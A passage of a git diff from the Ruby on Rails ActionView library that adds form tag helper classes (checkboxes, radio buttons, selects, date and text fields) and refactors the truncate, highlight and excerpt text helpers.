+require 'action_view/helpers/tags/checkable'
+
+module ActionView
+  module Helpers
+    module Tags
+      class CheckBox < Base #:nodoc:
+        include Checkable
+
+        def initialize(object_name, method_name, template_object, checked_value, unchecked_value, options)
+          @checked_value   = checked_value
+          @unchecked_value = unchecked_value
+          super(object_name, method_name, template_object, options)
+        end
+
+        def render
+          options = @options.stringify_keys
+          options["type"]     = "checkbox"
+          options["value"]    = @checked_value
+          options["checked"] = "checked" if input_checked?(object, options)
+
+          if options["multiple"]
+            add_default_name_and_id_for_value(@checked_value, options)
+            options.delete("multiple")
+          else
+            add_default_name_and_id(options)
+          end
+
+          include_hidden = options.delete("include_hidden") { true }
+          checkbox = tag("input", options)
+
+          if include_hidden
+            hidden = hidden_field_for_checkbox(options)
+            hidden + checkbox
+          else
+            checkbox
+          end
+        end
+
+        private
+
+        def checked?(value)
+          case value
+          when TrueClass, FalseClass
+            value == !!@checked_value
+          when NilClass
+            false
+          when String
+            value == @checked_value
+          when Array
+            value.include?(@checked_value)
+          else
+            value.to_i == @checked_value.to_i
+          end
+        end
+
+        def hidden_field_for_checkbox(options)
+          @unchecked_value ? tag("input", options.slice("name", "disabled", "form").merge!("type" => "hidden", "value" => @unchecked_value)) : "".html_safe
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/checkable.rb b/actionpack/lib/action_view/helpers/tags/checkable.rb
new file mode 100644
index 0000000000..b97c0c68d7
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/checkable.rb
@@ -0,0 +1,16 @@
+module ActionView
+  module Helpers
+    module Tags
+      module Checkable
+        def input_checked?(object, options)
+          if options.has_key?("checked")
+            checked = options.delete "checked"
+            checked == true || checked == "checked"
+          else
+            checked?(value(object))
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/collection_check_boxes.rb b/actionpack/lib/action_view/helpers/tags/collection_check_boxes.rb
new file mode 100644
index 0000000000..e23f5113fb
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/collection_check_boxes.rb
@@ -0,0 +1,37 @@
+require 'action_view/helpers/tags/collection_helpers'
+
+module ActionView
+  module Helpers
+    module Tags
+      class CollectionCheckBoxes < Base
+        include CollectionHelpers
+
+        class CheckBoxBuilder < Builder
+          def check_box(extra_html_options={})
+            html_options = extra_html_options.merge(@input_html_options)
+            @template_object.check_box(@object_name, @method_name, html_options, @value, nil)
+          end
+        end
+
+        def render
+          rendered_collection = render_collection do |item, value, text, default_html_options|
+            default_html_options[:multiple] = true
+            builder = instantiate_builder(CheckBoxBuilder, item, value, text, default_html_options)
+
+            if block_given?
+              yield builder
+            else
+              builder.check_box + builder.label
+            end
+          end
+
+          # Append a hidden field to make sure something will be sent back to the
+          # server if all check boxes are unchecked.
+          hidden = @template_object.hidden_field_tag(tag_name_multiple, "", :id => nil)
+
+          rendered_collection + hidden
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/collection_helpers.rb b/actionpack/lib/action_view/helpers/tags/collection_helpers.rb
new file mode 100644
index 0000000000..4e33e79a36
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/collection_helpers.rb
@@ -0,0 +1,82 @@
+module ActionView
+  module Helpers
+    module Tags
+      module CollectionHelpers
+        class Builder
+          attr_reader :object, :text, :value
+
+          def initialize(template_object, object_name, method_name, object,
+                         sanitized_attribute_name, text, value, input_html_options)
+            @template_object = template_object
+            @object_name = object_name
+            @method_name = method_name
+            @object = object
+            @sanitized_attribute_name = sanitized_attribute_name
+            @text = text
+            @value = value
+            @input_html_options = input_html_options
+          end
+
+          def label(label_html_options={}, &block)
+            @template_object.label(@object_name, @sanitized_attribute_name, @text, label_html_options, &block)
+          end
+        end
+
+        def initialize(object_name, method_name, template_object, collection, value_method, text_method, options, html_options)
+          @collection   = collection
+          @value_method = value_method
+          @text_method  = text_method
+          @html_options = html_options
+
+          super(object_name, method_name, template_object, options)
+        end
+
+        private
+
+        def instantiate_builder(builder_class, item, value, text, html_options)
+          builder_class.new(@template_object, @object_name, @method_name, item,
+                            sanitize_attribute_name(value), text, value, html_options)
+        end
+
+        # Generate default options for collection helpers, such as :checked and
+        # :disabled.
+        def default_html_options_for_collection(item, value) #:nodoc:
+          html_options = @html_options.dup
+
+          [:checked, :selected, :disabled].each do |option|
+            next unless current_value = @options[option]
+
+            accept = if current_value.respond_to?(:call)
+              current_value.call(item)
+            else
+              Array(current_value).map(&:to_s).include?(value.to_s)
+            end
+
+            if accept
+              html_options[option] = true
+            elsif option == :checked
+              html_options[option] = false
+            end
+          end
+
+          html_options[:object] = @object
+          html_options
+        end
+
+        def sanitize_attribute_name(value) #:nodoc:
+          "#{sanitized_method_name}_#{sanitized_value(value)}"
+        end
+
+        def render_collection #:nodoc:
+          @collection.map do |item|
+            value = value_for_collection(item, @value_method)
+            text  = value_for_collection(item, @text_method)
+            default_html_options = default_html_options_for_collection(item, value)
+
+            yield item, value, text, default_html_options
+          end.join.html_safe
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/collection_radio_buttons.rb b/actionpack/lib/action_view/helpers/tags/collection_radio_buttons.rb
new file mode 100644
index 0000000000..ba2035f074
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/collection_radio_buttons.rb
@@ -0,0 +1,30 @@
+require 'action_view/helpers/tags/collection_helpers'
+
+module ActionView
+  module Helpers
+    module Tags
+      class CollectionRadioButtons < Base
+        include CollectionHelpers
+
+        class RadioButtonBuilder < Builder
+          def radio_button(extra_html_options={})
+            html_options = extra_html_options.merge(@input_html_options)
+            @template_object.radio_button(@object_name, @method_name, @value, html_options)
+          end
+        end
+
+        def render
+          render_collection do |item, value, text, default_html_options|
+            builder = instantiate_builder(RadioButtonBuilder, item, value, text, default_html_options)
+
+            if block_given?
+              yield builder
+            else
+              builder.radio_button + builder.label
+            end
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/collection_select.rb b/actionpack/lib/action_view/helpers/tags/collection_select.rb
new file mode 100644
index 0000000000..ec78e6e5f9
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/collection_select.rb
@@ -0,0 +1,28 @@
+module ActionView
+  module Helpers
+    module Tags
+      class CollectionSelect < Base #:nodoc:
+        def initialize(object_name, method_name, template_object, collection, value_method, text_method, options, html_options)
+          @collection   = collection
+          @value_method = value_method
+          @text_method  = text_method
+          @html_options = html_options
+
+          super(object_name, method_name, template_object, options)
+        end
+
+        def render
+          option_tags_options = {
+            :selected => @options.fetch(:selected) { value(@object) },
+            :disabled => @options[:disabled]
+          }
+
+          select_content_tag(
+            options_from_collection_for_select(@collection, @value_method, @text_method, option_tags_options),
+            @options, @html_options
+          )
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/color_field.rb b/actionpack/lib/action_view/helpers/tags/color_field.rb
new file mode 100644
index 0000000000..6f08f8483a
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/color_field.rb
@@ -0,0 +1,25 @@
+module ActionView
+  module Helpers
+    module Tags
+      class ColorField < TextField #:nodoc:
+        def render
+          options = @options.stringify_keys
+          options["value"] = @options.fetch("value") { validate_color_string(value(object)) }
+          @options = options
+          super
+        end
+
+        private
+
+          def validate_color_string(string)
+            regex = /#[0-9a-fA-F]{6}/
+            if regex.match(string)
+              string.downcase
+            else
+              "#000000"
+            end
+          end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/date_field.rb b/actionpack/lib/action_view/helpers/tags/date_field.rb
new file mode 100644
index 0000000000..64c29dea3d
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/date_field.rb
@@ -0,0 +1,13 @@
+module ActionView
+  module Helpers
+    module Tags
+      class DateField < DatetimeField #:nodoc:
+        private
+
+          def format_date(value)
+            value.try(:strftime, "%Y-%m-%d")
+          end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/date_select.rb b/actionpack/lib/action_view/helpers/tags/date_select.rb
new file mode 100644
index 0000000000..5d706087b0
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/date_select.rb
@@ -0,0 +1,70 @@
+module ActionView
+  module Helpers
+    module Tags
+      class DateSelect < Base #:nodoc:
+        def initialize(object_name, method_name, template_object, options, html_options)
+          @html_options = html_options
+
+          super(object_name, method_name, template_object, options)
+        end
+
+        def render
+          error_wrapping(datetime_selector(@options, @html_options).send("select_#{select_type}").html_safe)
+        end
+
+        class << self
+          def select_type
+            @select_type ||= self.name.split("::").last.sub("Select", "").downcase
+          end
+        end
+
+        private
+
+        def select_type
+          self.class.select_type
+        end
+
+        def datetime_selector(options, html_options)
+          datetime = value(object) || default_datetime(options)
+          @auto_index ||= nil
+
+          options = options.dup
+          options[:field_name]           = @method_name
+          options[:include_position]     = true
+          options[:prefix]             ||= @object_name
+          options[:index]                = @auto_index if @auto_index && !options.has_key?(:index)
+
+          DateTimeSelector.new(datetime, options, html_options)
+        end
+
+        def default_datetime(options)
+          return if options[:include_blank] || options[:prompt]
+
+          case options[:default]
+          when nil
+            Time.current
+          when Date, Time
+            options[:default]
+          else
+            default = options[:default].dup
+
+            # Rename :minute and :second to :min and :sec
+            default[:min] ||= default[:minute]
+            default[:sec] ||= default[:second]
+
+            time = Time.current
+
+            [:year, :month, :day, :hour, :min, :sec].each do |key|
+              default[key] ||= time.send(key)
+            end
+
+            Time.utc_time(
+              default[:year], default[:month], default[:day],
+              default[:hour], default[:min], default[:sec]
+            )
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/datetime_field.rb b/actionpack/lib/action_view/helpers/tags/datetime_field.rb
new file mode 100644
index 0000000000..e407146e96
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/datetime_field.rb
@@ -0,0 +1,22 @@
+module ActionView
+  module Helpers
+    module Tags
+      class DatetimeField < TextField #:nodoc:
+        def render
+          options = @options.stringify_keys
+          options["value"] = @options.fetch("value") { format_date(value(object)) }
+          options["min"] = format_date(options["min"])
+          options["max"] = format_date(options["max"])
+          @options = options
+          super
+        end
+
+        private
+
+          def format_date(value)
+            value.try(:strftime, "%Y-%m-%dT%T.%L%z")
+          end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/datetime_local_field.rb b/actionpack/lib/action_view/helpers/tags/datetime_local_field.rb
new file mode 100644
index 0000000000..6668d6d718
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/datetime_local_field.rb
@@ -0,0 +1,19 @@
+module ActionView
+  module Helpers
+    module Tags
+      class DatetimeLocalField < DatetimeField #:nodoc:
+        class << self
+          def field_type
+            @field_type ||= "datetime-local"
+          end
+        end
+
+        private
+
+          def format_date(value)
+            value.try(:strftime, "%Y-%m-%dT%T")
+          end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/datetime_select.rb b/actionpack/lib/action_view/helpers/tags/datetime_select.rb
new file mode 100644
index 0000000000..a32c840bce
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/datetime_select.rb
@@ -0,0 +1,8 @@
+module ActionView
+  module Helpers
+    module Tags
+      class DatetimeSelect < DateSelect #:nodoc:
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/email_field.rb b/actionpack/lib/action_view/helpers/tags/email_field.rb
new file mode 100644
index 0000000000..45cde507d7
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/email_field.rb
@@ -0,0 +1,8 @@
+module ActionView
+  module Helpers
+    module Tags
+      class EmailField < TextField #:nodoc:
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/file_field.rb b/actionpack/lib/action_view/helpers/tags/file_field.rb
new file mode 100644
index 0000000000..59f2ff71b4
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/file_field.rb
@@ -0,0 +1,8 @@
+module ActionView
+  module Helpers
+    module Tags
+      class FileField < TextField #:nodoc:
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/grouped_collection_select.rb b/actionpack/lib/action_view/helpers/tags/grouped_collection_select.rb
new file mode 100644
index 0000000000..507ba8835f
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/grouped_collection_select.rb
@@ -0,0 +1,29 @@
+module ActionView
+  module Helpers
+    module Tags
+      class GroupedCollectionSelect < Base #:nodoc:
+        def initialize(object_name, method_name, template_object, collection, group_method, group_label_method, option_key_method, option_value_method, options, html_options)
+          @collection          = collection
+          @group_method        = group_method
+          @group_label_method  = group_label_method
+          @option_key_method   = option_key_method
+          @option_value_method = option_value_method
+          @html_options        = html_options
+
+          super(object_name, method_name, template_object, options)
+        end
+
+        def render
+          option_tags_options = {
+            :selected => @options.fetch(:selected) { value(@object) },
+            :disabled => @options[:disabled]
+          }
+
+          select_content_tag(
+            option_groups_from_collection_for_select(@collection, @group_method, @group_label_method, @option_key_method, @option_value_method, option_tags_options), @options, @html_options
+          )
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/hidden_field.rb b/actionpack/lib/action_view/helpers/tags/hidden_field.rb
new file mode 100644
index 0000000000..a8d13dc1b1
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/hidden_field.rb
@@ -0,0 +1,8 @@
+module ActionView
+  module Helpers
+    module Tags
+      class HiddenField < TextField #:nodoc:
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/label.rb b/actionpack/lib/action_view/helpers/tags/label.rb
new file mode 100644
index 0000000000..16135fcd5a
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/label.rb
@@ -0,0 +1,65 @@
+module ActionView
+  module Helpers
+    module Tags
+      class Label < Base #:nodoc:
+        def initialize(object_name, method_name, template_object, content_or_options = nil, options = nil)
+          options ||= {}
+
+          content_is_options = content_or_options.is_a?(Hash)
+          if content_is_options
+            options.merge! content_or_options
+            @content = nil
+          else
+            @content = content_or_options
+          end
+
+          super(object_name, method_name, template_object, options)
+        end
+
+        def render(&block)
+          options = @options.stringify_keys
+          tag_value = options.delete("value")
+          name_and_id = options.dup
+
+          if name_and_id["for"]
+            name_and_id["id"] = name_and_id["for"]
+          else
+            name_and_id.delete("id")
+          end
+
+          add_default_name_and_id_for_value(tag_value, name_and_id)
+          options.delete("index")
+          options.delete("namespace")
+          options["for"] = name_and_id["id"] unless options.key?("for")
+
+          if block_given?
+            content = @template_object.capture(&block)
+          else
+            content = if @content.blank?
+                        @object_name.gsub!(/\[(.*)_attributes\]\[\d\]/, '.\1')
+                        method_and_value = tag_value.present? ? "#{@method_name}.#{tag_value}" : @method_name
+
+                        if object.respond_to?(:to_model)
+                          key = object.class.model_name.i18n_key
+                          i18n_default = ["#{key}.#{method_and_value}".to_sym, ""]
+                        end
+
+                        i18n_default ||= ""
+                        I18n.t("#{@object_name}.#{method_and_value}", :default => i18n_default, :scope => "helpers.label").presence
+                      else
+                        @content.to_s
+                      end
+
+            content ||= if object && object.class.respond_to?(:human_attribute_name)
+                          object.class.human_attribute_name(@method_name)
+                        end
+
+            content ||= @method_name.humanize
+          end
+
+          label_tag(name_and_id["id"], content, options)
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/month_field.rb b/actionpack/lib/action_view/helpers/tags/month_field.rb
new file mode 100644
index 0000000000..3d3c32d847
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/month_field.rb
@@ -0,0 +1,13 @@
+module ActionView
+  module Helpers
+    module Tags
+      class MonthField < DatetimeField #:nodoc:
+        private
+
+          def format_date(value)
+            value.try(:strftime, "%Y-%m")
+          end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/number_field.rb b/actionpack/lib/action_view/helpers/tags/number_field.rb
new file mode 100644
index 0000000000..9cd04434f0
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/number_field.rb
@@ -0,0 +1,18 @@
+module ActionView
+  module Helpers
+    module Tags
+      class NumberField < TextField #:nodoc:
+        def render
+          options = @options.stringify_keys
+
+          if range = options.delete("in") || options.delete("within")
+            options.update("min" => range.min, "max" => range.max)
+          end
+
+          @options = options
+          super
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/password_field.rb b/actionpack/lib/action_view/helpers/tags/password_field.rb
new file mode 100644
index 0000000000..6e7a4d3c36
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/password_field.rb
@@ -0,0 +1,12 @@
+module ActionView
+  module Helpers
+    module Tags
+      class PasswordField < TextField #:nodoc:
+        def render
+          @options = {:value => nil}.merge!(@options)
+          super
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/radio_button.rb b/actionpack/lib/action_view/helpers/tags/radio_button.rb
new file mode 100644
index 0000000000..8a0421f061
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/radio_button.rb
@@ -0,0 +1,31 @@
+require 'action_view/helpers/tags/checkable'
+
+module ActionView
+  module Helpers
+    module Tags
+      class RadioButton < Base #:nodoc:
+        include Checkable
+
+        def initialize(object_name, method_name, template_object, tag_value, options)
+          @tag_value = tag_value
+          super(object_name, method_name, template_object, options)
+        end
+
+        def render
+          options = @options.stringify_keys
+          options["type"]     = "radio"
+          options["value"]    = @tag_value
+          options["checked"] = "checked" if input_checked?(object, options)
+          add_default_name_and_id_for_value(@tag_value, options)
+          tag("input", options)
+        end
+
+        private
+
+        def checked?(value)
+          value.to_s == @tag_value.to_s
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/range_field.rb b/actionpack/lib/action_view/helpers/tags/range_field.rb
new file mode 100644
index 0000000000..47db4680e7
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/range_field.rb
@@ -0,0 +1,8 @@
+module ActionView
+  module Helpers
+    module Tags
+      class RangeField < NumberField #:nodoc:
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/search_field.rb b/actionpack/lib/action_view/helpers/tags/search_field.rb
new file mode 100644
index 0000000000..818fd4b887
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/search_field.rb
@@ -0,0 +1,24 @@
+module ActionView
+  module Helpers
+    module Tags
+      class SearchField < TextField #:nodoc:
+        def render
+          options = @options.stringify_keys
+
+          if options["autosave"]
+            if options["autosave"] == true
+              options["autosave"] = request.host.split(".").reverse.join(".")
+            end
+            options["results"] ||= 10
+          end
+
+          if options["onsearch"]
+            options["incremental"] = true unless options.has_key?("incremental")
+          end
+
+          super
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/select.rb b/actionpack/lib/action_view/helpers/tags/select.rb
new file mode 100644
index 0000000000..53a108b7e6
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/select.rb
@@ -0,0 +1,41 @@
+module ActionView
+  module Helpers
+    module Tags
+      class Select < Base #:nodoc:
+        def initialize(object_name, method_name, template_object, choices, options, html_options)
+          @choices = choices
+          @choices = @choices.to_a if @choices.is_a?(Range)
+          @html_options = html_options
+
+          super(object_name, method_name, template_object, options)
+        end
+
+        def render
+          option_tags_options = {
+            :selected => @options.fetch(:selected) { value(@object) },
+            :disabled => @options[:disabled]
+          }
+
+          option_tags = if grouped_choices?
+            grouped_options_for_select(@choices, option_tags_options)
+          else
+            options_for_select(@choices, option_tags_options)
+          end
+
+          select_content_tag(option_tags, @options, @html_options)
+        end
+
+        private
+
+        # Grouped choices look like this:
+        #
+        #   [nil, []]
+        #   { nil => [] }
+        #
+        def grouped_choices?
+          !@choices.empty? && @choices.first.respond_to?(:last) && Array === @choices.first.last
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/tel_field.rb b/actionpack/lib/action_view/helpers/tags/tel_field.rb
new file mode 100644
index 0000000000..87c1f6b6b6
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/tel_field.rb
@@ -0,0 +1,8 @@
+module ActionView
+  module Helpers
+    module Tags
+      class TelField < TextField #:nodoc:
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/text_area.rb b/actionpack/lib/action_view/helpers/tags/text_area.rb
new file mode 100644
index 0000000000..f74652c5e7
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/text_area.rb
@@ -0,0 +1,18 @@
+module ActionView
+  module Helpers
+    module Tags
+      class TextArea < Base #:nodoc:
+        def render
+          options = @options.stringify_keys
+          add_default_name_and_id(options)
+
+          if size = options.delete("size")
+            options["cols"], options["rows"] = size.split("x") if size.respond_to?(:split)
+          end
+
+          content_tag("textarea", options.delete('value') || value_before_type_cast(object), options)
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/text_field.rb b/actionpack/lib/action_view/helpers/tags/text_field.rb
new file mode 100644
index 0000000000..024a1a8af2
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/text_field.rb
@@ -0,0 +1,29 @@
+module ActionView
+  module Helpers
+    module Tags
+      class TextField < Base #:nodoc:
+        def render
+          options = @options.stringify_keys
+          options["size"] = options["maxlength"] unless options.key?("size")
+          options["type"]  ||= field_type
+          options["value"] = options.fetch("value"){ value_before_type_cast(object) } unless field_type == "file"
+          options["value"] &&= ERB::Util.html_escape(options["value"])
+          add_default_name_and_id(options)
+          tag("input", options)
+        end
+
+        class << self
+          def field_type
+            @field_type ||= self.name.split("::").last.sub("Field", "").downcase
+          end
+        end
+
+        private
+
+        def field_type
+          self.class.field_type
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/time_field.rb b/actionpack/lib/action_view/helpers/tags/time_field.rb
new file mode 100644
index 0000000000..a3941860c9
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/time_field.rb
@@ -0,0 +1,13 @@
+module ActionView
+  module Helpers
+    module Tags
+      class TimeField < DatetimeField #:nodoc:
+        private
+
+          def format_date(value)
+            value.try(:strftime, "%T.%L")
+          end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/time_select.rb b/actionpack/lib/action_view/helpers/tags/time_select.rb
new file mode 100644
index 0000000000..9e97deb706
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/time_select.rb
@@ -0,0 +1,8 @@
+module ActionView
+  module Helpers
+    module Tags
+      class TimeSelect < DateSelect #:nodoc:
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/time_zone_select.rb b/actionpack/lib/action_view/helpers/tags/time_zone_select.rb
new file mode 100644
index 0000000000..0a176157c3
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/time_zone_select.rb
@@ -0,0 +1,20 @@
+module ActionView
+  module Helpers
+    module Tags
+      class TimeZoneSelect < Base #:nodoc:
+        def initialize(object_name, method_name, template_object, priority_zones, options, html_options)
+          @priority_zones = priority_zones
+          @html_options   = html_options
+
+          super(object_name, method_name, template_object, options)
+        end
+
+        def render
+          select_content_tag(
+            time_zone_options_for_select(value(@object) || @options[:default], @priority_zones, @options[:model] || ActiveSupport::TimeZone), @options, @html_options
+          )
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/url_field.rb b/actionpack/lib/action_view/helpers/tags/url_field.rb
new file mode 100644
index 0000000000..1ffdfe0b3c
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/url_field.rb
@@ -0,0 +1,8 @@
+module ActionView
+  module Helpers
+    module Tags
+      class UrlField < TextField #:nodoc:
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/week_field.rb b/actionpack/lib/action_view/helpers/tags/week_field.rb
new file mode 100644
index 0000000000..1e13939a0a
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/week_field.rb
@@ -0,0 +1,13 @@
+module ActionView
+  module Helpers
+    module Tags
+      class WeekField < DatetimeField #:nodoc:
+        private
+
+          def format_date(value)
+            value.try(:strftime, "%Y-W%W")
+          end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/helpers/text_helper.rb b/actionpack/lib/action_view/helpers/text_helper.rb
index 21074efe86..0f599d5f41 100644
--- a/actionpack/lib/action_view/helpers/text_helper.rb
+++ b/actionpack/lib/action_view/helpers/text_helper.rb
@@ -1,6 +1,5 @@
-require 'active_support/core_ext/object/blank'
 require 'active_support/core_ext/string/filters'
-require 'action_view/helpers/tag_helper'
+require 'active_support/core_ext/array/extract_options'
 
 module ActionView
   # = Action View Text Helpers
@@ -31,12 +30,12 @@ module ActionView
       extend ActiveSupport::Concern
 
       include SanitizeHelper
+      include TagHelper
       # The preferred method of outputting text in your views is to use the
       # <%= "text" %> eRuby syntax. The regular _puts_ and _print_ methods
       # do not operate as expected in an eRuby code block. If you absolutely must
       # output text within a non-output code block (i.e., <% %>), you can use the concat method.
       #
-      # ==== Examples
       #   <%
       #       concat "hello"
       #       # is the equivalent of <%= "hello" %>
@@ -44,7 +43,7 @@ module ActionView
       #       if logged_in
       #         concat "Logged in!"
       #       else
-      #         concat link_to('login', :action => login)
+      #         concat link_to('login', :action => :login)
       #       end
       #       # will either display "Logged in!" or a login link
       #   %>
@@ -62,11 +61,11 @@ module ActionView
       #
       # Pass a <tt>:separator</tt> to truncate +text+ at a natural break.
       #
-      # The result is not marked as HTML-safe, so will be subject to the default escaping when
-      # used in views, unless wrapped by <tt>raw()</tt>. Care should be taken if +text+ contains HTML tags
-      # or entities, because truncation may produce invalid HTML (such as unbalanced or incomplete tags).
+      # Pass a block if you want to show extra content when the text is truncated.
       #
-      # ==== Examples
+      # The result is marked as HTML-safe, but it is escaped by default, unless <tt>:escape</tt> is
+      # +false+. Care should be taken if +text+ contains HTML tags or entities, because truncation
+      # may produce invalid HTML (such as unbalanced or incomplete tags).
       #
       #   truncate("Once upon a time in a world far far away")
       #   # => "Once upon a time in a world..."
@@ -82,19 +81,27 @@ module ActionView
       #
       #   truncate("<p>Once upon a time in a world far far away</p>")
       #   # => "<p>Once upon a time in a wo..."
-      def truncate(text, options = {})
-        options.reverse_merge!(:length => 30)
-        text.truncate(options.delete(:length), options) if text
+      #
+      #   truncate("Once upon a time in a world far far away") { link_to "Continue", "#" }
+      #   # => "Once upon a time in a wo...<a href="#">Continue</a>"
+      def truncate(text, options = {}, &block)
+        if text
+          length  = options.fetch(:length, 30)
+
+          content = text.truncate(length, options)
+          content = options[:escape] == false ? content.html_safe : ERB::Util.html_escape(content)
+          content << capture(&block) if block_given? && text.length > length
+          content
+        end
       end
 
       # Highlights one or more +phrases+ everywhere in +text+ by inserting it into
       # a <tt>:highlighter</tt> string. The highlighter can be specialized by passing <tt>:highlighter</tt>
-      # as a single-quoted string with \1 where the phrase is to be inserted (defaults to
-      # '<strong class="highlight">\1</strong>')
+      # as a single-quoted string with <tt>\1</tt> where the phrase is to be inserted (defaults to
+      # '<mark>\1</mark>')
       #
-      # ==== Examples
       #   highlight('You searched for: rails', 'rails')
-      #   # => You searched for: <strong class="highlight">rails</strong>
+      #   # => You searched for: <mark>rails</mark>
       #
       #   highlight('You searched for: ruby, rails, dhh', 'actionpack')
       #   # => You searched for: ruby, rails, dhh
@@ -104,23 +111,15 @@ module ActionView
       #
       #   highlight('You searched for: rails', 'rails', :highlighter => '<a href="search?q=\1">\1</a>')
       #   # => You searched for: <a href="search?q=rails">rails</a>
-      #
-      # You can still use <tt>highlight</tt> with the old API that accepts the
-      # +highlighter+ as its optional third parameter:
-      #   highlight('You searched for: rails', 'rails', '<a href="search?q=\1">\1</a>')     # => You searched for: <a href="search?q=rails">rails</a>
-      def highlight(text, phrases, *args)
-        options = args.extract_options!
-        unless args.empty?
-          options[:highlighter] = args[0] || '<strong class="highlight">\1</strong>'
-        end
-        options.reverse_merge!(:highlighter => '<strong class="highlight">\1</strong>')
+      def highlight(text, phrases, options = {})
+        highlighter = options.fetch(:highlighter, '<mark>\1</mark>')
 
-        text = sanitize(text) unless options[:sanitize] == false
+        text = sanitize(text) if options.fetch(:sanitize, true)
         if text.blank? || phrases.blank?
           text
         else
           match = Array(phrases).map { |p| Regexp.escape(p) }.join('|')
-          text.gsub(/(#{match})(?!(?:[^<]*?)(?:["'])[^<>]*>)/i, options[:highlighter])
+          text.gsub(/(#{match})(?![^<]*?>)/i, highlighter)
         end.html_safe
       end
 
@@ -130,7 +129,6 @@ module ActionView
       # then the <tt>:omission</tt> option (which defaults to "...") will be prepended/appended accordingly. The resulting string
       # will be stripped in any case. If the +phrase+ isn't found, nil is returned.
       #
-      # ==== Examples
       #   excerpt('This is an example', 'an', :radius => 5)
       #   # => ...s is an exam...
       #
@@ -145,39 +143,27 @@ module ActionView
       #
       #   excerpt('This is also an example', 'an', :radius => 8, :omission => '<chop> ')
       #   # => <chop> is also an example
-      #
-      # You can still use <tt>excerpt</tt> with the old API that accepts the
-      # +radius+ as its optional third and the +ellipsis+ as its
-      # optional forth parameter:
-      #   excerpt('This is an example', 'an', 5)                   # => ...s is an exam...
-      #   excerpt('This is also an example', 'an', 8, '<chop> ')   # => <chop> is also an example
-      def excerpt(text, phrase, *args)
+      def excerpt(text, phrase, options = {})
         return unless text && phrase
-
-        options = args.extract_options!
-        unless args.empty?
-          options[:radius] = args[0] || 100
-          options[:omission] = args[1] || "..."
-        end
-        options.reverse_merge!(:radius => 100, :omission => "...")
+        radius   = options.fetch(:radius, 100)
+        omission = options.fetch(:omission, "...")
 
         phrase = Regexp.escape(phrase)
-        return unless found_pos = text.mb_chars =~ /(#{phrase})/i
+        return unless found_pos = text =~ /(#{phrase})/i
 
-        start_pos = [ found_pos - options[:radius], 0 ].max
